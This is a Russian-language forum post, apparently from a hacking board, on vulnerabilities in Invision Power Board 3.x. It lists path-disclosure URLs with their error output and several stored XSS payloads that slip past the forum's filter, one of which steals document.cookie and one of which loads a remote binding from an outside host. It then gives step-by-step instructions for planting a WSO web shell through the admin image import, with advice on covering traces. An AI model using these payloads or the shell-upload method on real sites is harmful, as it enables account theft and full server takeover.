http://site.ru/index.php?app=core&module=usercp&tab[]=forums&area=watch&watch=topic&do=list&tid=1 Code: Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\sources\base\core.php on line 2141 Code: http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key[]=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump=A Code: Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 234 Code: http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order[]=asc&max_results=20&app=members§ion=view&module=list&quickjump=A Code: Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 235 Code: http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results[]=20&app=members§ion=view&module=list&quickjump=A Code: Warning: Illegal offset type in isset or empty in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 237 Code: http://site.ru/index.php?app=members§ion=view&module=list&showall=0&sort_key=members_display_name&sort_order=asc&max_results=20&app=members§ion=view&module=list&quickjump[]=A Code: Warning: urldecode() expects parameter 1 to be string, array given in Z:\home\site.ru\www\admin\applications\members\modules_public\list\view.php on line 297
Множественные уязвимости I.P.B. Вообще, IPB кишит всяческими ошибками. В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив. Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие... XSS тоже можно накопать немало. Уязвимость: активная XSS. Требования: права админа =) Описание: http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools§ion=qanda&do=new Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS. Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda.php: PHP: /* Build DB Array */ $db_array = array( 'qa_question' => $_POST['question'], 'qa_answers' => $_POST['answers'], ); ... PHP: $this->DB->insert( 'question_and_answer', $db_array ); Уязвимость: активная XSS Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF Описание: Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS: PHP: public function checkXss( $txt='', $fixScript=false ) { //----------------------------------------- // Opening script tags... // Check for spaces and new lines... //----------------------------------------- if ( $fixScript ) { $txt = preg_replace( "#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is" , "<script" , $txt ); $txt = preg_replace( "#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#is", "</script", $txt ); } //----------------------------------------- // Here we can do some generic checking for XSS // This should not be considered fool proof, though can provide // a centralized point for maintenance and checking //----------------------------------------- $txt = str_ireplace( "(j)avascript" , "\\1avascript", $txt ); $txt = str_ireplace( "alert" , "alert" , $txt ); $txt = str_ireplace( "behavior" , "behavior" , $txt ); $txt = preg_replace( "/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" , "\\1xpression" , $txt ); $txt = preg_replace( "/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\\\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*)n/is" , "\\1xpression" , $txt ); $txt = preg_replace( "/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|\)*)i((\\\|\)*)n((\\\|\)*)g/is" , "moz-binding" , $txt ); $txt = str_ireplace( "about:" , "about:" , $txt ); $txt = str_ireplace( "<body" , "<body" , $txt ); $txt = str_ireplace( "<html" , "<html" , $txt ); $txt = str_ireplace( "document." , "document." , $txt ); $txt = str_ireplace( "window." , "window." , $txt ); $event_handlers = array( 'mouseover', 'mouseout', 'mouseup', 'mousemove', 'mousedown', 'mouseenter', 'mouseleave', 'mousewheel', 'contextmenu', 'click', 'dblclick', 'load', 'unload', 'submit', 'blur', 'focus', 'resize', 'scroll', 'change', 'reset', 'select', 'selectionchange', 'selectstart', 'start', 'stop', 'keydown', 'keyup', 'keypress', 'abort', 'error', 'dragdrop', 'move', 'moveend', 'movestart', 'activate', 'afterprint', 'afterupdate', 'beforeactivate', 'beforecopy', 'beforecut', 'beforedeactivate', 'beforeeditfocus', 'beforepaste', 'beforeprint', 'beforeunload', 'begin', 'bounce', 'cellchange', 'controlselect', 'copy', 'cut', 'paste', 'dataavailable', 'datasetchanged', 'datasetcomplete', 'deactivate', 'drag', 'dragend', 'dragleave', 'dragenter', 'dragover', 'drop', 'end', 'errorupdate', 'filterchange', 'finish', 'focusin', 'focusout', 'help', 'layoutcomplete', 'losecapture', 'mediacomplete', 'mediaerror', 'outofsync', 'pause', 'propertychange', 'progress', 'readystatechange', 'repeat', 'resizeend', 'resizestart', 'resume', 'reverse', 'rowsenter', 'rowexit', 'rowdelete', 'rowinserted', 'seek', 'syncrestored', 'timeerror', 'trackchange', 'urlflip', ); foreach( $event_handlers as $handler ) { $txt = str_ireplace( 'on' . $handler, 'on' . $handler, $txt ); } return $txt; } Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется. Обратные кавычки (`backtips`) не фильтруются. Кроме того, сразу бросается в глаза, что протокол data не фильтруется. Составляем запрос (для IE), внедряемся в параметр style тега span: Code: [*color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/*color] Для FF: Code: [*color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/*color] Уязвимость: активная XSS Требования: - Описание: //В данном посте косяки, грядут переделки В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую: PHP: $txt = preg_replace( "/(j)avascript/i" , "\\1avascript", $txt ); Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data. Но зато, к фильтру добавилось обрезание всего, что находиться за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss: Code: [*color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/*code] //Далее без претензии на уникальность, развиваю пост LeverOne'а Теперь вспомним о xss с разрушением тегов. В IPB фильтруются javascript и -moz-binding. Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding). Новый запрос для ie: Code: [acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym] Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss) Code: [acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]
Залитие шелла из админки IPB 3... (тестилось на IPB 3.0.1 nulled и 3.0.2-лицуха) - еще один вариант по аналогии с этим постом: https://forum.antichat.ru/showpost.php?p=977862&postcount=10 но небольшие изменения: 1. Ставим себе на локалхост IPB 3.0.1 к примеру нуленый 2. Идем в админку - Внешний вид - IP.Board - Настройки - смотрим "Директория с изображениями" - по дефолту "public/style_images/master" 3. Идем в нашу папочку (на примере Denwer) C:\WebServers\home\drup614.ru\www\public\style_images\master и суем туда наш любимый wso2.php 4. Админка - Внешний вид - Импорт / Экспорт - Экспорт - Экспорт изображений - Какие изображения экспортировать? - IP.Board - Экспорт изображений - получаем архив images-master.xml.gz 5. В архиве файлик images-master.xml Переименовываем архив! таким образом - обязательная процедура, иначе при попытке импорта на целевом сайте изображений стиля напишет "папка public/style_images/master уже существует!" - images-master2.xml.gz, название файлика в архиве сменится автоматом 6. Админка - Внешний вид - Импорт / Экспорт - Импорт - Импорт изображений - Загрузка XML-архива с изображениями - Обзор - images-master2.xml.gz - Импорт изображений Рядом с C:\WebServers\home\drup614.ru\www\public\style_images\master появится C:\WebServers\home\drup614.ru\www\public\style_images\master2 где будет лежать все тоже самое, плюс наш шелл в итоге шелл будет по адресу: http://forum.site.ru/public/style_images/master2/wso2.php PS: не забудьте потом переместить шелл и удалить каталог master2 Готовый архив с картинками и шеллом можно взять тут , останется только изменить циферку